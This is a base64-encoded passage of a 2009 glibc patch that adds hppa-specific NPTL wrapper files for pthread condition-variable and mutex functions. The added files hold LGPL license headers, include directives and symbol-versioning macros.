YwotLS0gL2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAKKysr
IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX2Nv
bmRfc2lnbmFsLmMJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCww
ICsxLDI5IEBACisvKiBDb3B5cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2Fy
ZSBGb3VuZGF0aW9uLCBJbmMuCisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0
aGUgR05VIEMgTGlicmFyeS4KKyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBP
J0RvbmVsbCA8Y2FybG9zQGNvZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisg
ICBUaGUgR05VIEMgTGlicmFyeSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2Fu
IHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0
aGUgdGVybXMgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAg
IExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZv
dW5kYXRpb247IGVpdGhlcgorICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vu
c2UsIG9yIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisK
KyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBo
b3BlIHRoYXQgaXQgd2lsbCBiZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBB
TlkgV0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50
eSBvZgorICAgTUVSQ0hBTlRBQklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFS
VElDVUxBUiBQVVJQT1NFLiAgU2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5l
cmFsIFB1YmxpYyBMaWNlbnNlIGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlv
dSBzaG91bGQgaGF2ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNz
ZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUg
R05VIEMgTGlicmFyeTsgaWYgbm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAg
U29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBT
dWl0ZSAzMzAsIEJvc3RvbiwgTUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8K
KworI2lmbmRlZiBJTkNMVURFRF9TRUxGCisjIGRlZmluZSBJTkNMVURFRF9T
RUxGCisjIGluY2x1ZGUgPHB0aHJlYWRfY29uZF9zaWduYWwuYz4KKyNlbHNl
CisjIGluY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorIyB1bmRlZiBHTElCQ18y
XzNfMgorIyBkZWZpbmUgR0xJQkNfMl8zXzIgR0xJQkNfMl85CisjIGluY2x1
ZGVfbmV4dCA8cHRocmVhZF9jb25kX3NpZ25hbC5jPgorI2VuZGlmCisKSW5k
ZXg6IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFk
X2NvbmRfdGltZWR3YWl0LmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1Mg
ZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJl
YWRfY29uZF90aW1lZHdhaXQuYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2
L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX2NvbmRfdGltZWR3YWl0LmMKLS0t
IC9kZXYvbnVsbAkxIEphbiAxOTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNk
ZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9jb25kX3Rp
bWVkd2FpdC5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCAr
MSwyOSBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29mdHdhcmUg
Rm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhl
IEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBDYXJsb3MgTydE
b25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4KKworICAg
VGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiBy
ZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhl
IHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBM
aWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3Vu
ZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNlbnNl
LCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisg
ICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9w
ZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQgQU5Z
IFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkg
b2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJ
Q1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJh
bCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZb3Ug
c2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVzc2Vy
IEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdO
VSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNv
ZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwgU3Vp
dGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICovCisK
KyNpZm5kZWYgSU5DTFVERURfU0VMRgorIyBkZWZpbmUgSU5DTFVERURfU0VM
RgorIyBpbmNsdWRlIDxwdGhyZWFkX2NvbmRfdGltZWR3YWl0LmM+CisjZWxz
ZQorIyBpbmNsdWRlIDxzaGxpYi1jb21wYXQuaD4KKyMgdW5kZWYgR0xJQkNf
Ml8zXzIKKyMgZGVmaW5lIEdMSUJDXzJfM18yIEdMSUJDXzJfOQorIyBpbmNs
dWRlX25leHQgPHB0aHJlYWRfY29uZF90aW1lZHdhaXQuYz4KKyNlbmRpZgor
CkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRo
cmVhZF9jb25kX3dhaXQuYwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBm
aWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVh
ZF9jb25kX3dhaXQuYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4
L2hwcGEvbnB0bC9wdGhyZWFkX2NvbmRfd2FpdC5jCi0tLSAvZGV2L251bGwJ
MSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfY29uZF93YWl0LmMJMiBBcHIg
MjAwOSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsxLDI5IEBACisvKiBDb3B5
cmlnaHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMu
CisgICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4K
KyAgIENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVsbCA8Y2FybG9zQGNv
ZGVzb3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBUaGUgR05VIEMgTGlicmFy
eSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBh
bmQvb3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdO
VSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlz
aGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgor
ICAgdmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9w
dGlvbikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJy
YXJ5IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBi
ZSB1c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhv
dXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAgTUVSQ0hBTlRB
QklMSVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAg
U2VlIHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNl
IGZvciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNl
aXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMK
KyAgIExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYg
bm90LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91bmRhdGlv
biwgSW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3Rvbiwg
TUEKKyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2lmbmRlZiBJTkNMVURF
RF9TRUxGCisjIGRlZmluZSBJTkNMVURFRF9TRUxGCisjIGluY2x1ZGUgPHB0
aHJlYWRfY29uZF93YWl0LmM+CisjZWxzZQorIyBpbmNsdWRlIDxzaGxpYi1j
b21wYXQuaD4KKyMgdW5kZWYgR0xJQkNfMl8zXzIKKyMgZGVmaW5lIEdMSUJD
XzJfM18yIEdMSUJDXzJfOQorIyBpbmNsdWRlX25leHQgPHB0aHJlYWRfY29u
ZF93YWl0LmM+CisjZW5kaWYKKwpJbmRleDogc3lzZGVwcy91bml4L3N5c3Yv
bGludXgvaHBwYS9ucHRsL3B0aHJlYWRfbXV0ZXhfY29uZF9sb2NrLmMKPT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfbXV0ZXhfY29uZF9sb2NrLmMK
ZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRo
cmVhZF9tdXRleF9jb25kX2xvY2suYwotLS0gL2Rldi9udWxsCTEgSmFuIDE5
NzAgMDA6MDA6MDAgLTAwMDAKKysrIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4
L2hwcGEvbnB0bC9wdGhyZWFkX211dGV4X2NvbmRfbG9jay5jCTIgQXByIDIw
MDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCArMSwxNCBAQAorI2luY2x1ZGUg
PHB0aHJlYWRQLmg+CisKKyNkZWZpbmUgTExMX01VVEVYX0xPQ0sobXV0ZXgp
IFwKKyAgbGxsX2NvbmRfbG9jayAoKG11dGV4KS0+X19kYXRhLl9fbG9jaywg
UFRIUkVBRF9NVVRFWF9QU0hBUkVEIChtdXRleCkpCisjZGVmaW5lIExMTF9N
VVRFWF9UUllMT0NLKG11dGV4KSBcCisgIGxsbF9jb25kX3RyeWxvY2sgKCht
dXRleCktPl9fZGF0YS5fX2xvY2spCisjZGVmaW5lIExMTF9ST0JVU1RfTVVU
RVhfTE9DSyhtdXRleCwgaWQpIFwKKyAgbGxsX3JvYnVzdF9jb25kX2xvY2sg
KChtdXRleCktPl9fZGF0YS5fX2xvY2ssIGlkLCBcCisJCQlQVEhSRUFEX1JP
QlVTVF9NVVRFWF9QU0hBUkVEIChtdXRleCkpCisjZGVmaW5lIF9fcHRocmVh
ZF9tdXRleF9sb2NrIF9fcHRocmVhZF9tdXRleF9jb25kX2xvY2sKKyNkZWZp
bmUgX19wdGhyZWFkX211dGV4X2xvY2tfZnVsbCBfX3B0aHJlYWRfbXV0ZXhf
Y29uZF9sb2NrX2Z1bGwKKyNkZWZpbmUgTk9fSU5DUgorCisjaW5jbHVkZSA8
bnB0bC9wdGhyZWFkX211dGV4X2xvY2suYz4KSW5kZXg6IHN5c2RlcHMvdW5p
eC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX211dGV4X2Rlc3Ryb3ku
Ywo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZF9tdXRleF9kZXN0cm95
LmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwv
cHRocmVhZF9tdXRleF9kZXN0cm95LmMKLS0tIC9kZXYvbnVsbAkxIEphbiAx
OTcwIDAwOjAwOjAwIC0wMDAwCisrKyBzeXNkZXBzL3VuaXgvc3lzdi9saW51
eC9ocHBhL25wdGwvcHRocmVhZF9tdXRleF9kZXN0cm95LmMJMiBBcHIgMjAw
OSAwMjozNDowMyAtMDAwMApAQCAtMCwwICsxLDM2IEBACisvKiBDb3B5cmln
aHQgKEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisg
ICBUaGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKyAg
IENvbnRyaWJ1dGVkIGJ5IENhcmxvcyBPJ0RvbmVsbCA8Y2FybG9zQGNvZGVz
b3VyY2VyeS5jb20+LCAyMDA5LgorCisgICBUaGUgR05VIEMgTGlicmFyeSBp
cyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQv
b3IKKyAgIG1vZGlmeSBpdCB1bmRlciB0aGUgdGVybXMgb2YgdGhlIEdOVSBM
ZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAgIExpY2Vuc2UgYXMgcHVibGlzaGVk
IGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlcgorICAg
dmVyc2lvbiAyLjEgb2YgdGhlIExpY2Vuc2UsIG9yIChhdCB5b3VyIG9wdGlv
bikgYW55IGxhdGVyIHZlcnNpb24uCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5
IGlzIGRpc3RyaWJ1dGVkIGluIHRoZSBob3BlIHRoYXQgaXQgd2lsbCBiZSB1
c2VmdWwsCisgICBidXQgV0lUSE9VVCBBTlkgV0FSUkFOVFk7IHdpdGhvdXQg
ZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBvZgorICAgTUVSQ0hBTlRBQklM
SVRZIG9yIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFLiAgU2Vl
IHRoZSBHTlUKKyAgIExlc3NlciBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlIGZv
ciBtb3JlIGRldGFpbHMuCisKKyAgIFlvdSBzaG91bGQgaGF2ZSByZWNlaXZl
ZCBhIGNvcHkgb2YgdGhlIEdOVSBMZXNzZXIgR2VuZXJhbCBQdWJsaWMKKyAg
IExpY2Vuc2UgYWxvbmcgd2l0aCB0aGUgR05VIEMgTGlicmFyeTsgaWYgbm90
LCB3cml0ZSB0byB0aGUgRnJlZQorICAgU29mdHdhcmUgRm91bmRhdGlvbiwg
SW5jLiwgNTkgVGVtcGxlIFBsYWNlLCBTdWl0ZSAzMzAsIEJvc3RvbiwgTUEK
KyAgIDAyMTExLTEzMDcgVVNBLiAgKi8KKworI2lmbmRlZiBJTkNMVURFRF9T
RUxGCisjIGRlZmluZSBJTkNMVURFRF9TRUxGCisjIGluY2x1ZGUgPHB0aHJl
YWRfbXV0ZXhfZGVzdHJveS5jPgorI2Vsc2UKKyMgaW5jbHVkZSA8c2hsaWIt
Y29tcGF0Lmg+CisjIGluY2x1ZGUgPGxpYmMtc3ltYm9scy5oPgorIyBpbmNs
dWRlICJwdGhyZWFkUC5oIgorIyB1bmRlZiBzdHJvbmdfYWxpYXMKKyMgZGVm
aW5lIHN0cm9uZ19hbGlhcyhuYW1lLCBhbGlhc25hbWUpCisjIGluY2x1ZGVf
bmV4dCA8cHRocmVhZF9tdXRleF9kZXN0cm95LmM+CisjIHVuZGVmIHN0cm9u
Z19hbGlhcworIyBkZWZpbmUgc3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFt
ZSkgX3N0cm9uZ19hbGlhcyhuYW1lLCBhbGlhc25hbWUpCit2ZXJzaW9uZWRf
c3ltYm9sIChsaWJwdGhyZWFkLCBfX3B0aHJlYWRfbXV0ZXhfZGVzdHJveSwK
KwkJICBwdGhyZWFkX211dGV4X2Rlc3Ryb3ksIEdMSUJDXzJfOSk7CitJTlRE
RUYoX19wdGhyZWFkX211dGV4X2Rlc3Ryb3kpCisjZW5kaWYKKwpJbmRleDog
c3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfbXV0
ZXhfaW5pdC5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KUkNTIGZpbGU6IHN5
c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFkX211dGV4
X2luaXQuYwpkaWZmIC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEv
bnB0bC9wdGhyZWFkX211dGV4X2luaXQuYwotLS0gL2Rldi9udWxsCTEgSmFu
IDE5NzAgMDA6MDA6MDAgLTAwMDAKKysrIHN5c2RlcHMvdW5peC9zeXN2L2xp
bnV4L2hwcGEvbnB0bC9wdGhyZWFkX211dGV4X2luaXQuYwkyIEFwciAyMDA5
IDAyOjM0OjAzIC0wMDAwCkBAIC0wLDAgKzEsMzYgQEAKKy8qIENvcHlyaWdo
dCAoQykgMjAwOSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4KKyAg
IFRoaXMgZmlsZSBpcyBwYXJ0IG9mIHRoZSBHTlUgQyBMaWJyYXJ5LgorICAg
Q29udHJpYnV0ZWQgYnkgQ2FybG9zIE8nRG9uZWxsIDxjYXJsb3NAY29kZXNv
dXJjZXJ5LmNvbT4sIDIwMDkuCisKKyAgIFRoZSBHTlUgQyBMaWJyYXJ5IGlz
IGZyZWUgc29mdHdhcmU7IHlvdSBjYW4gcmVkaXN0cmlidXRlIGl0IGFuZC9v
cgorICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIExl
c3NlciBHZW5lcmFsIFB1YmxpYworICAgTGljZW5zZSBhcyBwdWJsaXNoZWQg
YnkgdGhlIEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbjsgZWl0aGVyCisgICB2
ZXJzaW9uIDIuMSBvZiB0aGUgTGljZW5zZSwgb3IgKGF0IHlvdXIgb3B0aW9u
KSBhbnkgbGF0ZXIgdmVyc2lvbi4KKworICAgVGhlIEdOVSBDIExpYnJhcnkg
aXMgZGlzdHJpYnV0ZWQgaW4gdGhlIGhvcGUgdGhhdCBpdCB3aWxsIGJlIHVz
ZWZ1bCwKKyAgIGJ1dCBXSVRIT1VUIEFOWSBXQVJSQU5UWTsgd2l0aG91dCBl
dmVuIHRoZSBpbXBsaWVkIHdhcnJhbnR5IG9mCisgICBNRVJDSEFOVEFCSUxJ
VFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNVTEFSIFBVUlBPU0UuICBTZWUg
dGhlIEdOVQorICAgTGVzc2VyIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgZm9y
IG1vcmUgZGV0YWlscy4KKworICAgWW91IHNob3VsZCBoYXZlIHJlY2VpdmVk
IGEgY29weSBvZiB0aGUgR05VIExlc3NlciBHZW5lcmFsIFB1YmxpYworICAg
TGljZW5zZSBhbG9uZyB3aXRoIHRoZSBHTlUgQyBMaWJyYXJ5OyBpZiBub3Qs
IHdyaXRlIHRvIHRoZSBGcmVlCisgICBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJ
bmMuLCA1OSBUZW1wbGUgUGxhY2UsIFN1aXRlIDMzMCwgQm9zdG9uLCBNQQor
ICAgMDIxMTEtMTMwNyBVU0EuICAqLworCisjaWZuZGVmIElOQ0xVREVEX1NF
TEYKKyMgZGVmaW5lIElOQ0xVREVEX1NFTEYKKyMgaW5jbHVkZSA8cHRocmVh
ZF9tdXRleF9pbml0LmM+CisjZWxzZQorIyBpbmNsdWRlIDxzaGxpYi1jb21w
YXQuaD4KKyMgaW5jbHVkZSA8bGliYy1zeW1ib2xzLmg+CisjIGluY2x1ZGUg
InB0aHJlYWRQLmgiCisjIHVuZGVmIHN0cm9uZ19hbGlhcworIyBkZWZpbmUg
c3Ryb25nX2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKKyMgaW5jbHVkZV9uZXh0
IDxwdGhyZWFkX211dGV4X2luaXQuYz4KKyMgdW5kZWYgc3Ryb25nX2FsaWFz
CisjIGRlZmluZSBzdHJvbmdfYWxpYXMobmFtZSwgYWxpYXNuYW1lKSBfc3Ry
b25nX2FsaWFzKG5hbWUsIGFsaWFzbmFtZSkKK3ZlcnNpb25lZF9zeW1ib2wg
KGxpYnB0aHJlYWQsIF9fcHRocmVhZF9tdXRleF9pbml0LAorCQkgIHB0aHJl
YWRfbXV0ZXhfaW5pdCwgR0xJQkNfMl85KTsKK0lOVERFRihfX3B0aHJlYWRf
bXV0ZXhfaW5pdCkKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL25wdGwvcHRocmVhZF9tdXRleF9sb2NrLmMKPT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3Yv
bGludXgvaHBwYS9ucHRsL3B0aHJlYWRfbXV0ZXhfbG9jay5jCmRpZmYgLU4g
c3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0aHJlYWRfbXV0
ZXhfbG9jay5jCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAt
MDAwMAorKysgc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL3B0
aHJlYWRfbXV0ZXhfbG9jay5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAK
QEAgLTAsMCArMSw0MCBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUg
U29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBh
cnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBD
YXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAw
OS4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsg
eW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQg
dW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVi
bGljCisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0
d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRo
ZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJz
aW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBp
biB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJ
VEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQg
d2FycmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZP
UiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNz
ZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgor
CisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBH
TlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdp
dGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZy
ZWUKKyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQ
bGFjZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVT
QS4gICovCisKKyNpZm5kZWYgSU5DTFVERURfU0VMRgorIyBkZWZpbmUgSU5D
TFVERURfU0VMRgorIyBpbmNsdWRlIDxwdGhyZWFkX211dGV4X2xvY2suYz4K
KyNlbHNlCisjIGluY2x1ZGUgPHNobGliLWNvbXBhdC5oPgorIyBpbmNsdWRl
IDxsaWJjLXN5bWJvbHMuaD4KKyMgaW5jbHVkZSAicHRocmVhZFAuaCIKKyMg
dW5kZWYgc3Ryb25nX2FsaWFzCisjIGRlZmluZSBzdHJvbmdfYWxpYXMobmFt
ZSwgYWxpYXNuYW1lKQorIyBpbmNsdWRlX25leHQgPHB0aHJlYWRfbXV0ZXhf
bG9jay5jPgorIyB1bmRlZiBzdHJvbmdfYWxpYXMKKyMgZGVmaW5lIHN0cm9u
Z19hbGlhcyhuYW1lLCBhbGlhc25hbWUpIF9zdHJvbmdfYWxpYXMobmFtZSwg
YWxpYXNuYW1lKQorLyogVGhlIGZpbGUgcHRocmVhZF9tdXRleF9jb25kX2xv
Y2suYyBpbmNsdWRlcyB0aGlzCisgICBmaWxlIGFuZCB3ZSBkbyBub3Qgd2Fu
dCB0byB2ZXJzaW9uIHRoYXQgaW50ZXJmYWNlLiAgKi8KKyMgaWZuZGVmIF9f
cHRocmVhZF9tdXRleF9sb2NrCit2ZXJzaW9uZWRfc3ltYm9sIChsaWJwdGhy
ZWFkLCBfX3B0aHJlYWRfbXV0ZXhfbG9jaywKKwkJICBwdGhyZWFkX211dGV4
X2xvY2ssIEdMSUJDXzJfOSk7CitzdHJvbmdfYWxpYXMgKF9fcHRocmVhZF9t
dXRleF9sb2NrLCBfX3B0aHJlYWRfbXV0ZXhfbG9ja19pbnRlcm5hbCkKKyMg
ZW5kaWYKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51
eC9ocHBhL25wdGwvcHRocmVhZF9tdXRleF90aW1lZGxvY2suYwo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgvc3lzdi9s
aW51eC9ocHBhL25wdGwvcHRocmVhZF9tdXRleF90aW1lZGxvY2suYwpkaWZm
IC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFk
X211dGV4X3RpbWVkbG9jay5jCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAw
MDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL3B0aHJlYWRfbXV0ZXhfdGltZWRsb2NrLmMJMiBBcHIgMjAwOSAw
MjozNDowMyAtMDAwMApAQCAtMCwwICsxLDM4IEBACisvKiBDb3B5cmlnaHQg
KEMpIDIwMDkgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCisgICBU
aGlzIGZpbGUgaXMgcGFydCBvZiB0aGUgR05VIEMgTGlicmFyeS4KKyAgIENv
